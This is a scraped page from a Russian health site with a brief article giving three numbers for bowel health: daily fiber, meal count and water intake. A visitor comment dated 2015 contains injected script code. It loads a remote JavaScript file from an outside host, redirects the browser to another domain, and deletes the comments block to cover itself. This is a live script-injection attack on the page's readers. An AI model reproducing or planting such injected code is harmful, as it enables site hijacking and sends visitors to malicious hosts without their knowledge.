Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  3 цифры для кишечника  >>  3 цифры для кишечника
 
Обратная связь
 

3 цифры для кишечника

Размер шрифта
22 декабря 2011 07:13
  • google_analytics: false
  • Нравится

3 жизненно-важные цифры, которые спасут ваш кишечник от смертельных заболеваний.

35

Это количество грубых волокон в граммах, которые вы должны потреблять в день. Волокно в растительных продуктах состоит из группы соединений, которые составляют основу растений. Волокна не могут быть переварены, но они – важный элемент рациона: клетчатка снижает уровень холестерина, риск сердечных заболеваний и некоторых видов рака.

Рекомендуемое количество волокна – от 20 до 35 г в день, но по статистике люди едят намного меньше волокна. Азиаты в среднем потребляют в три раза больше волокна, чем американцы.

5

Это количество приемов пищи за день. Пища продвигается в кишках из-за рефлекторного сокращения мышц. Когда в кишечнике нет содержимого (например, при полном голодании), перистальтика может совсем прекратиться. Поступая в кишечник, пища усиливает перистальтику кишечника.

2

Ровно столько литров воды человек должен выпивать в день. Вода сокращает время пребывания пищи в кишечнике. Потребление достаточного количества воды нормализует работу кишечника.

Видеосюжеты по теме:

Три цифры для кишечника. Как сохранить его здоровым



 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:02

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
О чем говорят ваши пуки?   Как сходить в туалет, когда времени мало?   Причины запора у взрослых: от серьезных до легко устранимых   Здоровое питание для желудка и кишечника  
12 февраля 2013Запоры вызывают рак кишечника 11 февраля 2013Диагноз «колоректальный рак» можно поставить по дыханию
 
17 июля 2012Микробы делают нас счастливыми! 25 июня 2012Ожирение вызывают микробы, живущие в кишечнике!
 

Слайдшоу

1
Почему у вас запор?
Вся правда о запоре
Симптомы болезней у маленьких детей

Тесты

Здорова ли ваша предстательная железа
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.